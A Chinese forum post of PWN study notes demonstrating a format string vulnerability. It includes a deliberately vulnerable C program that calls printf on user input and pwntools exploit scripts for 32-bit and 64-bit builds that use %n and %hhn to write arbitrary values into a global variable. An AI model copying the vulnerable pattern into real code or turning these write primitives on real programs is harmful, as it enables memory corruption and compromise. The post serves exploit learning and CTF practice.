首页
论坛
课程
招聘
[原创]PWN学习笔记【格式化字符串漏洞】【覆盖变量写入任意数值】
2022-6-8 15:22 5337

[原创]PWN学习笔记【格式化字符串漏洞】【覆盖变量写入任意数值】

2022-6-8 15:22
5337

https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-exploit/#_13


源码:

#include <stdio.h>
int a = 123;
int main() 
{
  char s[100];
  scanf("%s", s);
  printf(s);
  printf("\na=[%d][%p]\n", a, a);
  return 0;
}


32位:

gcc -m32 -g a.c 


测试位置:AAAA..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p

s的首地址在第6个参数


a的地址:


写入小数字:

from pwn import *

context.log_level = 'debug'

sh = process("./a.out")

a_addr = 0x0804A024
print("a_addr:%x" %a_addr)


payload = flat([
    b"%02c%8$n",
    p32(a_addr)
])

sh.sendline(payload)
print(sh.recv())
sh.interactive()

b"%02c%8$n" 占了8个字符(2个32位变量),所以地址偏移需要+2(8=6+2)



写入大数字:

from pwn import *

context.log_level = 'debug'

sh = process("./a.out")#gdb.debug("./a.out")#

a_addr = 0x0804A024
print("a_addr:%x" %a_addr)


payload = flat([
    p32(a_addr + 3),
    p32(a_addr + 2),
    p32(a_addr + 1),
    p32(a_addr + 0),
    b"%2c%6$hhn",  #s1 = 0x12 - 4*4
    b"%34c%7$hhn", #s2 = 0x34 - 0x12
    b"%34c%8$hhn", #s3 = 0x56 - 0x34
    b"%34c%9$hhn", #s4 = 0x78 - 0x56
])

sh.sendline(payload)
print(sh.recv())
sh.interactive()

%hhn一次写入一个字符,写4次,需要计算前面已经输出了多少个字符




64位:

gcc -g a.c


测试偏移:

AAAAAAAA......%p......%p......%p......%p......%p......%p......%p......%p......%p......%p


str首地址第6个,因为地址是8个字节太长了,所以把地址放到后面(像前面写入小数字一样)

from pwn import *

#context.log_level = 'debug'

sh = process("./a.out")#gdb.debug("./a.out")#

a_addr = 0x601048
print("a_addr:%x" %a_addr)

# 目标 a = 0x34567812 
# 0x12 = 18
# 0x34 = 52
# 0x56 = 86
# 0x78 = 120

payload = flat([
    b"%18c%15$hhn", 
    b"%34c%12$hhn",
    b"%34c%13$hhn",
    b"%34c%14$hhn",
    b"----",#对齐占位
    p64(a_addr + 3),
    p64(a_addr + 2),
    p64(a_addr + 1),
    p64(a_addr + 0),
])

sh.sendline(payload)
print(sh.recv())
sh.interactive()

addr前面输入了48个字符,48/8=6,所以偏移量=str首地址6 + 输入字符6 = 12


看雪招聘平台创建简历并且简历完整度达到90%及以上可获得500看雪币~

最后于 2022-6-8 16:48 被洋洋不得意编辑 ,原因: 加64位
收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回